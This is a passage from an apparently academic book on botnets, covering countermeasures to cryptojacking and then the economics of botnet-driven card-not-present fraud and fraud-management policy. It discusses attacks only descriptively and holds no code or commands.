ads for cryptomining. Some websites (Salon, Pirate Bay) are taking a different
approach to the ads versus cryptomining debate by presenting users with an option:
Would you like to watch our ads or would you rather spare CPU cycles for
cryptomining? Different solutions have been proposed for this challenge. Adstripping
extensions on browsers such as Silent Site Sound Blocker and uBlock Origin are two
of the many freely available tools that target different aspects of the web browsing
experience in addition to blocking ads. For example, Silent Site Sound Blocker for
the Chrome browser blocks ads that run in webpage corners when the site is loaded.
Magic Actions is another ad stripping extension that works on Chrome, Firefox, and
Opera browsers that suppresses ads on YouTube, disables the comments, and
presents clear selections for controlling the volume and resolution.

A novel approach to the challenge of advertising revenue, user preferences, and
privacy has been offered in the form of a Basic Attention Token (BAT). Developed by
the team that developed JavaScript and Firefox, the BAT is an Ethereum-based digital
token that eliminates the middlemen in the digital advertising spaces. Users are
rewarded for their attention in the form of BAT and publishers receive a majority of
the ad revenue that was previously lost to bots and middlemen, and advertisers are able
to obtain superior data analytics. The BAT currently works with the Brave browser, and
open-source web browser that blocks ads and trackers, while also enforcing the HTTPS
protocol. The Brave browser monitors user’s activities, and the data is stored on
a distributed ledger. Advertisers send ads in the form of smart contracts to the browser,
which are unlocked when a user views the ads who then gets rewarded in BATs. BAT
can be spent in the browser for premium articles, donations, and other in-browser
transactions.

11.4.2.3 Content Security Policy

CSP, first proposed in [62], was developed as a solution to mitigate the impact
of attacks against Web Application Vulnerabilities using Cross Site Scripting
(XSS) and Cross Site Request Forgery attacks (CSRF). XSS and CSRF attacks
work in bidirectional modes of trust exploitation—CSRF attack is a confused
deputy attack that exploits the trust that a site has in a user’s browser, while
XSS attacks exploit the trust that a user has for a site. XSS attacks typically
involve the injection of malicious code into web applications. Examples of
CSRF attacks including changing user information, adding items to the cart,
unauthorized money transfers, and other such user activities that could be
performed on reproducible links [63]. The use of CSP headers allows website
owners to declare approved origins of files using specific directives to block
content, and with verification that the content delivered has not been manipu-
lated (request-sri-for). Using a whitelist approach, the sri and other similar
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directives in CSP (default-src, connect-src, etc.) can be used to detect and block
cryptojacking operations.

11.4.3 Software Engineering

This category of countermeasures presents a holistic view of threat modeling and
management. Tools such as patching, reverse engineering of attacks, and network
hardening are described in this section to offer proactive mechanisms to assess
existing vulnerabilities, model threats, and mitigate their impact.

11.4.3.1 Patching

Security patching has been an integral part of the software lifecycle management
and computer security protocols to protect systems and users from system
vulnerabilities and exploits. The EternalBlue exploit, developed at the NSA and
leaked by the Shadow Brokers, was patched by Microsoft in the MS17-010 patch.
This patch resolves the vulnerability in the SMB protocol that allowed remote
code execution. As hackers divert more of their resources toward cryptomining
and DDoS attacks, it has been shown that patching still remains an effective tool
to counter cryptomining attacks [64].

11.4.3.2 Reverse Engineering

Studies have been conducted in the creation of botnet-like networks that could
attack cryptocurrencies. In [65], the authors provide a framework for ZombieCoin,
which uses the distributed, verifiable, cryptographic transformations offered by
Bitcoin to create a mechanism that enables the C&C architectures instrumental to
botnets. The botmaster generates a public–private key pair and an instruction set
that can be decoded by individual bots. The infection mechanism may be trivial
(such as advertisements containing links), which can be activated by clicks and then
can be used to infect the machines of unsuspecting users. These machines are then
transformed into bots, which can be used to deliver information (such as financial
data, passwords) or propagate spam, phishing, and DoS attacks.

A range of possible solutions for ZombieCoin has been proposed. These
include rapid response from ISPs to block sites that host rendezvous points for
botmasters and collaboration with law enforcement to detect and mitigate the
impact of such blockchain polluters [66]. Other approaches described include the
employment of honeypots deployed by whitehat hackers. These honeypots
function as Sybils and disrupt the economic relationship between bots and the
botmaster. For example, these machines may join the botnet and create multiple
clicks for ad impressions without generating revenue for the botmaster.
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11.4.3.3 Network Hardening

The eclipse attacks presented in [11] described a method to isolate victim nodes,
wherein attackers monopolize all the incoming and outgoing connections of
a node, thereby disrupting the assumption of perfect information. Several
countermeasures were proposed to harden the network against such attacks
propagated by botnets, with an emphasis on limiting and testing new incoming
connections, tracking of known and new connections, random eviction of
connections from the tables that store known and new connections, banning
unsolicited addresses, and increasing the size of the tried and new tables. Some of
these countermeasures have now been incorporated into the Bitcoin infrastructure
through a software upgrade.

Counterattacks to the BGP attacks described in [32] are based on increasing the
diversity of connections. Since mining pools use multiple gateways hosted (homed)
by different ISPs, the degree of multihoming provides a measure of additional
security against BGP attacks. The authors show that using encrypted traffic,
incorporating the use of VPNs, and deliberate refresh of network connections
(network churn) are some of the countermeasures to BGP hijacks. Additionally,
network monitoring statistics such as the round-trip time, sudden changes in node
connections, and the use of distinct channels for control and data have been
suggested as effective tactics for countering BGP hijacks to the bitcoin network.

While most of the attacks against the Bitcoin ecosystem focuses on external threat
actors such as botmasters launching cryptomining [67], studies attacks on the Bitcoin
ecosystem by framing it as a problem of one or more mining pools that are set to
achieve maximum utility by potentially undermining the utilities of other mining
pools. The authors in [67] used a game-theoretic approach to study the strategic
choices of mining pools in launching attacks against other pools. In the case of
MarioNet [27], several strategies have been proposed for countermeasures, including
the use of blacklists and whitelists, user permission criteria, and restrictions on
WebWorkers by disabling their services and limiting their active time in proportion
to browser session duration.

11.4.4 Social Frameworks

The countermeasures described thus far fall along the spectrum of technical
measures for proactive and reactive botnet-based threats. Recent studies have
shown that social frameworks are valuable sources of information about threat
sources. This kind of information, called “open source intelligence (OSINT)” is
found on popular websites, message boards, forums, and social media. OSINT
can be mined for a trove of information about cryptocurrency activity and
threats. Additionally, the role of policies and legislation is crucial in determining
the scope of legal activities concerning cryptocurrencies.
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11.4.4.1 Open Source Intelligence

In addition to the technical countermeasures to cryptocurrency mining discussed
in this section, a computational social scientific approach for coin success
presented in [68] could be used for attack prediction. Here, the authors analyzed
discussions in online forums to infer the role of discussion and the resulting hype
around certain kinds of cryptocurrencies as a viable predictor of the potential
success of certain kinds of coins. Similar tactics combining social network data,
discussion forum conversations, and other network science approaches to infer
attack modes and operational mechanisms of botnets employed in cryptomining.
An analysis of the frequency of mentions of cryptocurrencies and its correlation
with the price of bitcoin was performed in [69]. Other similar detection tools
based on bot activity on the C&C channels were used to build tools such as
BotSniffer [16], where the authors studied the crowd-like behaviors of bots in
a botnet responding to commands or generating messages for botnet detection.
Another such bot detection tool was developed in [70], where they develop
BotDet that detects bot activity based on malicious IP addresses, SSL connec-
tions, domain detections, and Tor connections. A summary of current bot
detection software is also presented in [70].

A similar detection technique was used in [19], where the authors conducted
additional statistical analysis on the characteristics of websites that employ
cryptomining. The authors studied popularity of the website, location of the
websites host, and website content as indicators of the probability that the website
was containing cryptomining software. They found that there was no strong
correlation between popularity (as measured by the websites rank on Alexa),
location, or content.

11.4.4.2 Legislation and Policies

In 2016, the European Union (EU) Parliament announced a new legislative frame-
work for protection of user data called “GDPR (General Data Protection Regula-
tion).” It provided a two-year transition period for websites to adapt to the GDPR
regulation and officially came into force in March 2018. The EU GDPR affects not
just organizations within the EU, but all organizations that offer goods and services,
or monitor the activity of EU citizens. Under the terms of the EU GDPR, the
emphasis has been placed on receiving user consent for collecting and processing data
in clear terms, and user rights have been expanded to include, among others,
notification of breaches, access to data, privacy, and the right to be forgotten.
Violators of the GDPR terms are penalized according to a tiered framework, where
the maximum penalties imposed are 4% of annual turnover or 20 million euros.

Varying opinions about the impact of GDPR on blockchain have arisen. In
a recent whitepaper [71], IBM highlighted how blockchain can be utilized to
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assist in the five major GDPR areas: Rights of EU Data Subjects, Security of
Processing, Lawfulness and Consent, Accountability of Compliance, and Data
Protection by Design and by Default. However, others point to the potential for
GDPR to disrupt the fundamental tenets of blockchain. Blockchain, and by
association, cryptocurrency mining, in general, is based on the general concepts of
transparency and immutability. Researchers have pointed out several arguments
that threaten the operational mechanisms of blockchain: are encryption keys
considered as personal data? [72]. Also, resolving questions about accountability
in the event of breaches is a complex process [73]. GDPR might thus serve to
mitigate the impact of cryptojacking operations by limiting the stealthy modes in
which the computational resources of unsuspecting users of websites, apps, and
IoT devices are leveraged for cryptojacking.

In [74], the authors present a detailed treatment of cryptocurrency legislation
in various countries around the world. The work in [75] presents ideas for
creating regulatory instruments that do not stifle the potential for innovation
achievable with cryptocurrencies and are able to prevent the use of cryptocurren-
cies as vehicles for criminal activities. The financial technology sector is uniquely
positioned to offer solutions and platforms for cryptocurrency. Initial coin
offerings (ICOs) for various kinds of cryptocurrencies have surpassed the
$20 billion mark and have emerged as a significant source of fundraising in
cryptocurrencies. An interesting primer concerning the role of ICOs in fintech,
IT, and enterprises and domestic and foreign regulations for ICOs is presented
in [76].

11.5 Future Directions
As we ponder the road ahead for cryptocurrencies, we will see that cryptocurren-
cies are beginning to gain wider acceptance across various domains in govern-
ment, banking, electronic commerce, and other sectors. It remains to see how the
increased exposure will attract diverse challenges. This chapter explored threats to
cryptocurrency mining offered by botnets, the challenge of in-browser mining as
both utility and nuisance and countermeasures to these challenges. Other such
challenges lie along the spectrum of user expertise in cryptocurrency trade. At one
end of this spectrum lies the botnet black market that has created avenues for
unpoliced creation, usage, and evolution of botnets. At the other end of the
spectrum lies the lay user who is using cryptocurrency for trading but is unaware
of the numerous ways that his or her devices are being used to aid in the
operation of botnets.

The distributed nature of cryptomining raises several questions that are inter-
twined in the legal, fintech, and social spheres. While many countries around the
world have warmed up to the idea of cryptocurrencies, some countries deem
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cryptocurrencies illegal. These countries include China, Bolivia, Columbia, Ecua-
dor, Russia, Vietnam, and Russia, among others. In the countries where crypto-
currencies are legal, differing laws exist on the mining and use of cryptocurrencies
for trading of goods and services. The need for more energy-efficient mining
operations will also be a significant factor in the development of mining regula-
tions and the development of newer protocols such as proof-of-stake (PoS), as
opposed to the PoW algorithms that are energy-intensive. Regulations surround-
ing cryptocurrencies will have to account for the diversity of coins, an issue that
does not affect fiat currencies since, for the most part, currencies in countries are
homogeneous. Regulations will also have to consider the anonymity championed
by cryptocurrencies, which serve to empower mining and trading entities yet
create massive incentives for engaging in criminal activities such as those found
on the dark web.

Finally, the perception of cryptocurrencies plays a role in its adoption. The
bitcoin PoW requires user buy-in, and while recent literature has studied
challenges to adoption and growth of cryptocurrencies, scant research exists on
the public perception of its viability as an alternative to cryptocurrencies. The
initial findings of the Cryptoasset Sentiment Survey [77] show that the public is
aware of cryptocurrencies, but the operational details are elusive. Other research
on perceptions of cryptocurrency have been documented in [78] and [79]. The
threats posed by malware such as botnets only serves to fuel the confusion
surrounding cryptocurrencies and could turn into a major impediment to wide-
spread adoption.
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12.1 Introduction
Cybercrime is increasing in scale, impact (number and types of attacks, number
of victims and economic damage), scope, and sophistication. “Crime-as-a-Service”
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business model drives digital underground economy by providing a wide range of
commercial services, facilitating almost any type of cybercrime, extracting, at the
moment, between 15% and 20% of the value created by the Internet and
stimulating its commercialization, innovation, and further sophistication. Crim-
inals are freely able to procure services such as the rental of botnets [1] or just
simply create a variation of their own by reusing existing code [2].

Botnets are just the leading actors of modern finance-oriented cybercrime
(perhaps can be considered as the common framework for all online financial
crimes), allowing, e.g., to steal more than 36 million euros from European banks
[3], as we shall see, with peaks of 500,000 euros in just one week [1]. The exact
incidence of botnet economy on cybercrime economy is hard to estimate due to
a strong data incompleteness, but if we consider that the European Central Bank
reported in 2018 a value more than 1,320 million, only in the euro areas, for the
online transaction frauds carried out by botnets, we can easily argue that the
threat posed by botnets should not to be undervalued.

We will highlight how the online transactions, mostly when made through mobile
devices, represent one of the main target of botnet attacks, due also to management
policies that don’t seem to depict a scenario designed to mitigate the phenomenon.
One botnet of one million hosts could conservatively generate enough traffic to take
most Fortune 500 companies collectively offline. A botnet of 10 million hosts (like
Conficker) could paralyze the network infrastructure of a major Western nation.

The botnet pillars can be rent at low-cost to criminal organizations [4],
exploiting the dark side of the success factor of the Internet business players, a.
k.a. the network externality, where targets can be easily predicted but not yet
adequately protected.

12.2 Characterization of a Botnet Attack
As we know, a botnet is a network of infected computers (bots or zombies)
managed by attackers, called “Botmasters”, through one or more command and
control (C&C) server and caused by the inoculation of some malware. Botmasters
control the activities of the entire structure (from specific orders to malware
updates) through different communication channels. The level of diffusion of the
botnets depends on the capabilities of botmasters to involve the largest number of
machines trying to hide both the activities of the malicious architecture and the
location of the C&C servers. The infection or dissemination of modern malwares
is intimately linked to the exploitation of some vulnerabilities of compromised
systems or to the well-known social engineering and phishing techniques.

However, this is only a technical perspective and it doesn’t explain the success and
longevity of botnets. In fact, the widespread diffusion and success of botnet
phenomenon is intrinsically related to economic, social, organizational, and technical
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current Internet markets conditions and facts, depicting a scenario resumed by the
following key factors: motivations, enabling factors, and capabilities.

12.2.1 Motivations

Although botnets represent a general-purpose attack tool (e.g., cyberwarfare,
cyberterrorism, frauds, etc.), currently these are mainly used to generate profits.
Therefore the capabilities of the compromised hosts and the data stored on them,
usually have to be monetized. Hence, the major uses of botnets, with the
intention of targeting revenues, are identity theft, spam campaigns, click fraud,
ransom, and distributed denial of service.

The market of botnets represents a current and global threat in the form of
“Crime as a service”, enabling customized and up-to-date malicious software
rental together with a wide network of exploited (so, innocent) attack hosts,
raising the complexity for backtrack investigations and the related LEAs capability
to reach the criminals. This squarely turns to highly profitable tool for criminals,
even enabling nontechnical criminal organizations to deploy and use very
sophisticated malicious tools for crimes.

12.2.2 Enabling Factors
The main key factors enabling this state of the art are the following:

1. Widespread unsecured targets: 50 to 100 billion of every-day-life devices are
expected to be connected to the Internet by 2020, accompanied by ineffective
security measures in support. The availability of powerful connectivity at low
cost, together with the fast-paced evolution of malware, has contributed to
make Zeus still the most dangerous malware used by financial botnets.

2. Low-cost barriers for “crime-as-a-service” rental model: for as little as around
$3,000, one can get any Zeus-variant kit, equipped with custom web-injects
(infection through the navigation of a compromised web site) and regular
updates. Third-party spam services, location-aware exploit kits, and traffic
direction services can then be used to deliver the payload. Those services may
come with explanatory videos or even free chat support during installation [5].

3. The risk management strategy adopted by targets: the Internet economy is
capable of generating 2 to 3 trillion dollars per year [6] and rewarding the
massive use of a small set of players and platforms (the winner takes all), typical
of the “tipping” or “two-sided” markets just exploded with the Internet (e.g.,
payment networks). These markets do not seem to like invasive prevention
policies, which may cause a negative return of image, resulting in loss of
customers, preferring then the management, often silent, of costs related to
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possible security breaches through the subscription of insurance policies by
both financial organizations and merchants. The side effect engendered, allows
to channel huge amount of capitals into the black market. In fact, the end users
(the victims of the attack) can easily obtain reimbursements from fraud claims,
and the managers of technological platforms (the targets of the attack), with
small additional costs mostly composed by insurance policy subscription, can
effectively retain their customers. In this way the total cost of frauds, although
substantial, can be shared on a high amount of users that it is the ultimate goal of
the modern cybercrime.

12.2.3 Capabilities
Hence, the botnet-related crime, classic in the mission but innovative in its many
applications, has highlighted, in several use cases, a firepower wider than the
traditional crime and a much more threatening business model, mature enough to
prefer revenues based on service rentals instead of direct monolithic implementa-
tions. Today we are witnessing in fact, with specific reference to the market of
botnets, a strong outsourcing to criminal organizations specialized, for instance,
in malware development, hosts infection, or server hosting [7].

In particular, we report in Figure 12.1 the banking botnets activity in 2015. Most
botnets are different variants or upgrade of the same malware (Zeus). Banking
botnets targeted nearly every type of financial institution, from commercial banks to

Figure 12.1 Banking botnets activity in 2015.
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credit unions, siphoning huge amount of capitals. Moreover, newer botnets own an
upper level of sophistication, reflecting their infrastructural orientation. New botnets
are real managed platforms and offered in “as a service” mode to anyone who wants
to commit cybercrimes.

In this scenario, the well-known paradigm where “the attacker is getting stronger”
[8], or, alternatively, the attacker has thermodynamics on his side, results to be
reinforced and, without proper and very challenging strategies, the phenomenon is
expected to grow and hardly there will be a turnaround.

12.3 The Botnet Game
The web-based online financial services have become, since the 1990s, extremely
popular. The use of the online channel has enabled financial organizations to
provide new real-time services as smart as possible, especially to drastically reduce
the costs incurred in branch offices with traditional paper-based transactions. In
addition, the more recent spread of mobile devices has introduced an additional
communication channel for electronic banking activities.

When considering the technological innovation of the past 50 years, the
Internet is probably the one that has had the greatest impact of everyday life in
developed economies. Nearly 5 out of 10 Americans shop online and more than
4 out of 10 bank transactions are online. Every minute 20 hours of video are
uploaded to YouTube, while 5% of all time online is spent on social networking
sites such as Facebook [9]. As an easy forecast, these innovations have high-
lighted, contextually, the need to implement a number of protective measures,
such as the user authentication or the supervision and control of transactions,
given that all these new services would soon become the target of a variety of
cyberattacks. Of late, cyberattacks related to financial transactions have become
more and more complex.

Recent studies [10] have shown that the attacks tend to favor certain targets
instead of others. Anything but surprisingly was found that some banks are
favored over others, with a significant concentration toward those organizations
assisting pharmaceutical online services, the target of the most recent spam
campaigns. However, beyond the empirical data, while significant, none has so
far been able to identify what are the parameters or metrics driving the selection
of targets. In other words, assuming that the decision-making process is done
completely on the attacking side (criminal), it has not yet been identified what
factors are driving this process and whether there are factors more predominant
than others. In some cases, it has been hypothesized that, in the absence of the
cost–benefit estimates, the attackers may select a target by simply imitating what
others are already doing, recovering the experiences on forums and chatrooms or,
instead, selecting targets that simply were never considered by others.
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Further, even if the attackers [11] long time ago have shifted their focus toward the
client-side vulnerability exploitations (the weakest link of the Internet value chain),
they don’t know in advance whether every single victim has security measures in
place, holds assets that have no value, or that is unknowingly protected from external
assets (e.g., his bank has detected malicious transactions). So, a threat model for
Internet should not oppose an attacker and a defender individually. It would be
impossible to specialize the exploits for each victim especially in the modern vision of
the botnet revenue model, where the attackers are real entrepreneurs and, therefore,
would be obliged to buy/rent a larger amount of malware facing unsustainable costs.
We must instead think about a pattern that contrasts as a whole the set of all the
attackers to the set of all defenders. Every attacker will try, for a mere equation of
expected costs/benefits, to reach as many victims as possible.

In this context, we can assume that the target selection process made by the
attackers, considering a “Trial-And-Error” game, must necessarily converge
toward targets that offer the opportunity to hit the highest number of victims,
some of which will be hit more than once, while many others will never suffer
any cyberattack (or simply they will never realize they have been hit). With
a large number of potential victims available, attackers can also think strategically

Figure 12.2 Attackers compromise a website, whose users, after being infected,
can return their own data to attackers.
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to charge small values to each of them, in order to guarantee a proper level of
quietness. What then creates value for the attackers is the size of the target, to be
understood as the number of its customers—the richness is just a consequence.
Hence, the preferred target between two assets with the same richness, will be the
one with the greatest number of users. Furthermore, in this context usually the
target is the platform that exposes one or more vulnerabilities, while the victims
are the users of the attacked and compromised platform. Figure 12.2 summarizes
this scenario, a.k.a. Watering-Hole attack (remembering the way a lion waits for
a thirsty buffalo).

With the above mentioned conditions, in a hypothetical process of selection
made by the attackers, the favorite targets for botmasters are mass-market
technologies exposing vulnerabilities and possibly slaved to network externalities,
with specific reference to those used for online transactions, where the number of
users is certainly a critical business success factor, often privileged over any other
factor, and whose level of security is currently further threatened, as we shall see
in the following paragraphs, by the spread of mobile platforms payment. This
context can host also cases where the attackers have motivations other than purely
economic, out of the scope of this chapter (e.g., cyber espionage).

12.4 The Cost of Botnets
As proposed in [12], the cost of cybercrime can be split simply in direct costs,
indirect costs, and defense costs (the overall sum is called “cost to society”). The
quantification of direct costs of cybercrime poses important questions about the
cumulative effect of the losses of cyberspace resulting from the sum of damages to
each victim. The cost of cybercrime includes the effect of hundreds of millions of
people having their personal information stolen. Although criminals still have
difficulty turning stolen data into financial gain, the constant stream of news
contributes to a growing sense that cybercrime is out of control, considering that
botnets, as mentioned in the introduction, have very low cost barriers—an
investment of few thousand dollars can ensure very high revenues (Figure 12.3).

Defense costs include the cost of development and maintenance of the
prevention measures, which are largely independent from individual victims.
Often it is even difficult to allocate them to individual types of cybercrime.
Indirect loss is the monetary equivalent of the losses and opportunity costs
imposed on society by the fact that a certain cybercrime is carried out. Moreover,
the estimates known so far are even more alarming when considering the level of
incompleteness of data available, as well as the difficulty of allocating costs to
cybercrime. Although recent meanings of cybercrime try to cover also indirect
costs, it is not possible to quantify at the moment the negative effects that impact
on trust, innovation, uptake of online services by citizens, national defense,
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competitiveness, etc. For the above reasons, the indirect losses, as well as the
defense costs, cannot be attributed to individual victims. What we are able to
quantify, instead, are just the direct costs related to the direct monetary losses
suffered by the victims as a consequence of cybercrime, which becomes the
criminal revenue that, in practice, is significantly lower than direct losses and
much lower than direct plus indirect losses.

Hence, trying to obtain a global loss figure, we can use only the total amount
of (direct) losses to extrapolate global costs for all countries where we could find
open source data. This would give us a total global cost of around $600 billion
[6]. This approach would not be satisfactory, but without reporting and data
collection improvements, they provide a way to estimate the global cost of
cybercrime.

Financial crime is the second largest source of direct losses of cybercrime,
whose growth is basically driven by the increasing spread of botnet attacks. These
attacks can cost the victim companies more than $100 billion in recovery costs
[6] for large incidents, even if the actual amount gained by cybercriminals is
much smaller (remember that we don’t know if criminals were able to turn all the
stolen data into financial gain). In fact, the European Central Bank [13] recently
published fraud statistics for the Single European Payment Area, reporting a value
more than 1,300 million for the online transaction frauds only in the euro areas,
the so-called “Card Not-Present” (CNP) frauds, suggesting a considerable growth
of CNP transactions and highlighting that CNP fraud was not only the largest
category in absolute value but also the one with the highest growth (an increase
of 40% over a period of five years).

As shown in Figures 12.4 and 12.5, CNP frauds have become an important
channel for frauds and considering the paradigm of the botnet game related to
the weakest link of the Internet value chain together with the rise of mobile CNP
transactions, we can argue that the great majority of these frauds are just the

Figure 12.3 Botnet investment versus botnet revenue.
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result of botnet attacks. These frauds, despite the strong penalties, have still
a negligible share of the total amount of transactions (less than 0.025%).

Further, according to [14], the main driver of fraud increase during the 2017 is
represented by frauds through the online channel, with a significant increase in the
component related to mobile commerce, now widespread and appreciated by

Figure 12.4 Evolution of the total value of card fraud using cards issued within
SEPA: left-hand scale: total value (EUR millions); right-hand scale: value of fraud
as share of value of transaction (%).

Figure 12.5 CNP frauds (EUR millions) as a share (%) of total frauds.
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customers for the speed and convenience of use. However, merchants still pay
a whopping about $3 for each dollar of fraud losses. 73% of merchants who accept
online payments agree that combatting automated botnet fraud activity is over-
whelming, and 86% of them agree that selling digital goods increases risk of fraud.

12.5 Routine Activity Theory, Botnets, and CNP
Transactions

Routine activity theory (RAT) is a subfield of crime opportunity theory that focuses on
situations of crimes (Figure 12.6). The theory stipulates three necessary conditions for
most crime: a likely offender, a suitable target, and the absence of a capable guardian,
coming together in time and space. The lack of any of the three elements is sufficient to
prevent a crime that requires offender–victim contact. Yar, in 2005, tried to adapt the
RAT to cybercrime [15] identifying four key factors for the characterization of the
“suitable target” set, such as “value,” “portability,” “visibility,” and “accessibility”. The
value of target in botnets addressing payment networks, e.g., CNP fraud, can be
defined as the value that can be gained by the offender if the attack is successful. This
might mean that organizations in richer countries or with higher account balances
would be selected more often. Portability is about the ease with which the criminal
gains can be moved, such as money being transferred in near real time via irreversible
transactions. Visibility is about how visible the target is to the cybercriminals. Finally,
accessibility is about how easy the target can be reached. Although the aforementioned
variables cannot be precisely measured in the virtual environment, RAT can provide
qualitative outcomes on the motivations.

The “Value” variable is usually interpreted as an absolute financial value, e.g.,
the richest financial institution is chosen. Although many studies [10] have found
that attackers tend to favor certain financial services over others, suggesting

Figure 12.6 The routine activity theory.
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a conscious selection process on the criminal side, the factors driving the process
have not yet been discovered. Perhaps it must be re-thought as the sum of the
richness of the users using a potential target, both in current absolute value and in
projection of future growth. Thinking about the users of the target, rather than
the target, would be in line with modern malware development trends. Hence,
taking two different targets, in the case of equal total richness, the one with
a greater number of total users is the best choice, considering, e.g., that in the
CNP transaction market (licit), as a particular case of two-sided-market, the users
are a business-critical success factor and usually the “the winner takes all”
tendency rewards a player almost as an exclusive for the specific area.

In this new view of the “value” variable, we can argue that it’s easier to address
the decisions taken by the attackers in the target choice. Moreover, we can make
some observations on “the absence of a capable guardian” component. Yar, even
considering that the concept can also be used in cyberspace, has shown some
limits in the identification of protective measures. Instead, in the case of mobile
CNP transactions, the “absence of a capable guardian” area is much more
focused, since the mobile devices, for which the market has far exceeded that of
the desktops, are currently indisputably the “Things” more exposed to security
issues. Bots are now spreading on the plethora of mobile devices of different kinds
and platforms, making this kind of botnets even more difficult to counter fight
and cease [16]. Anonymity networks like Tor have also contributed to this
situation, i.e., making the discovery of the botnet C&C harder [17]. So, the
RAT seems to be particularly adaptable to the case of mobile CNP transactions.
Indeed, given the growth trend of the two markets, CNP transactions and mobile
devices, the two aforementioned areas of RAT are certainly expected to grow.

As we will see in the next section, although there are many indicators showing that
financial botnets will increase their attacks toward CNP transaction markets, the
payment card network still seems to prefer silent containment policies. In fact, the
payment card network, composed by the cardholder, the issuing bank, the acquiring
bank that represents the merchant, the merchant firm itself and the card networks
that set the standards, does not express an actual desire to disrupt the phenomenon,
due to the significant presence of the “bogeyman” of customers annoyed by the false
positives, but also due to the little share represented by CNP fraud transactions on
the total amount of transactions.

12.6 Fraud Management Policies
Companies have implemented several countermeasures to detect and contrast any
fraudulent transaction, highlighting cases of abnormal transactions from a single
account in terms of frequency, value, geographical location, etc. They implemented
also different alarm systems, by email or SMS, or anti-automation systems, such as
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“CAPTCHAs” (although some tools, e.g., Rumola, represent a counterexample) and
“One Time” passwords in addition to the usual information required for a CNP
transaction (serial number, expiration date, circuit, CVV code, etc.). All these
security measures are not enough and do not mitigate the phenomenon, probably
because the choice made in advance, once again by few players, is oriented toward the
management of the threat rather than its contrast. In fact, this tendency is even more
true when we try to map the incidence of the harm coming from frauds and how
these are managed by the payment card network.

As stated by Peacock and Friedman [18], under US laws, the cardholder has
minimal exposure to fraud risk: a maximum of $50 provides the cardholder the
capability to identify fraudulent transactions as such. Most issuing banks do not
choose to hold consumers liable for $50, as it causes customer churn, and the cost
to acquire a customer can be well above that amount.

Any fraudulent charges to cardholders are reimbursed by the issuing bank.
In card present transactions, information flows for chargebacks are the same as
they do for CNP transactions, but the issuer, rather than the merchant, is
liable for reimbursing the cardholder. This is assuming that the merchant
followed the correct procedures in accepting, processing, and storing the
transaction.

In CNP transactions, the issuer seeks reimbursement from the acquiring bank, who
passes the costs along to the merchant, often by directly debiting their account. The
merchants, thus, bearing the majority of the costs of CNP frauds, must absorb the
direct cost of frauds in terms of lost products and sales, and must pay chargeback fees to
the payment networks. Some costs are borne by the bank players: the issuing party
bears the cost of reissuing the card ($5 per card, according to one industry survey), and
is also susceptible, of course, to a potential reputation loss if they admit a security
breach that undermines customer confidence. The acquiring party is generally not
liable, unless the merchant is unable to cover its chargeback liabilities and subsequently
goes out of business.

For the above reasons, merchants usually choose to subscribe e-commerce
insurances to cover their potential losses on orders that are fraudulent or to
implement tools developed by card issuers (e.g., “Verified by VISA”). In this
latter case, the key for merchants is that issuers provide a liability shift for covered
transactions, but they need to bear purchase and maintenance costs.

The above-mentioned management practices do not seem to depict a synergic
scenario, between the payment card network components, designed to stop or
mitigate the CNP fraud threat, while, instead, represent a quick way to retain as
many customers as possible. Asghari et al. [19] analyze some data collected during
a decade of botnets mitigation and identify some important lessons learned.
Among the other, two are particularly interesting in our context.

The first lesson learned concerns the right technical-organizational level at
which entrusts the contrast of the botnets. The authors show how ISPs are the
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most suitable subjects to apply restrictions or technological devices against
botnets. The reason lies in their visibility over a large number of computers;
considering all their subscribers, the scale factor is important both to facilitate the
technical identification of malicious activities and to achieve scale economies on
technological tools to mitigate the effect of botnets. Moreover, the governments
authorizing the activity of ISPs can oblige them to comply with national or supra-
national policies in order to guarantee a level of protection common and
distributed to all users. Experiments in this sense, even with the creation of
national anti-botnet centers (Netherlands, Korea, Germany, etc.), have already
given excellent results. The European community has also financed the “botfree”
initiative [20] with the creation of web portals (the European one and the
national mirrors) for the sharing of contents, information, and tools to fight
botnets. According to RAT, the availability of adequate and uniformly distributed
countermeasures to all subscribers should reduce the area corresponding to the
“absence of a capable guardian.”

The second lesson learned concerns the general level of legality of the
subscribers with particular reference to their propensity to use unlicensed soft-
ware. In fact, the use of unlicensed software is associated with a strong increase in
the incidence of botnets, regardless of the security provisions implemented by the
ISPs. According to RAT, this condition corresponds to the large availability of “a
suitable target” given that unfair users, who use illicit software, are certainly more
easily attacked by malware. Since there is a strong relationship between the
propensity to use of software not licensed by users and the impact of computer
frauds, any initiative aimed at reducing computer piracy and increasing the level
of legality of subscribers would be able to strongly mitigate incidence of botnets.

12.7 Conclusion
The threat currently represented by cybercrime with particular reference to financial
online crimes is carried on mostly through botnets, considering the following:

■ Organizations targeted by botnets prefer to reassure data on cybercrime,
instead of combating through ICT countermeasures, thus channeling large
amounts of capitals into the black market.

■ Cybercrime (not limited to botnets and considering also the opportunity
costs) is significantly larger than any other transnational criminal activity.

■ The card issuers tend to consider the threat of little significance, given the
low incidence of CNP frauds on the total amount of transactions, shifting
the risk on insurances and merchants.

■ The pattern of repression, made by LEA, is not, at the time, as indicated by
the RAT, a viable model, due to lack of resources compared to the effort
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required to combat the phenomenon (e.g., infiltration forum and/or under-
ground markets). The phenomenon is going to grow, given the negligible
percentage of people arrested for cybercrime, and without a deep stake-
holders commitment, it hardly will meet a countertrend.

The system in place seems to have found a comfortable equilibrium that can
please all the players:

■ the card issuers and banks that perfectly know that a small percentage of
transactions will suffer frauds, a small percentage of card holders will realize the
suffered damage and, yet, a small percentage of these will trigger a formal
complaint before against the dealer, then against the bank and finally against
the issuer (Figure 12.7);

■ the merchants, recurring to risk insurances subscription;
■ the victims, having fast refund of the losses-by-fraud;
■ the technology providers (e.g., device and software manufacturers), which

suffer any loss (neither reputational).

What is overlooked is definitely the so-called “Opportunity Cost”, as the value of
foregone activities—opportunities or benefits that cannot be realized because
resources have been expended elsewhere. Three kinds of opportunity costs define
the losses from cybercrime: reduced investment in research and development, risk
averse behavior by businesses and consumers limiting the Internet use, and increased
spending on network defense. These opportunity costs can hardly affect future

Figure 12.7 Relationship between Internet users and complainant Internet victims.
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technologies and businesses due to the intrinsic nature of botnets, on the basis of the
following:

■ Law of Churn (innovation, like evolution, is a perpetual compounded rebirth)
■ The thermodynamics of the attacks, stating that even a very moderately

resourced attacker can break anything that’s at all large and complex [21]
■ The omnipresence of software (software, like cement, is everywhere in

modern civilization, Rice [22])

This indicates that the botnets market bases [23] are solid, enabling a future
expansion and use, especially in the area of cyberwarfare and terrorism. Further,
the social welfare suffers the greatest cost, since the revenues are invested in dark
economy (e.g., non-taxable) and represent a heavy tax on the economic growth
and job creation. Hence, governments should intervene on the phenomenon with
funding aimed at mitigating the problem (e.g., The European Framework
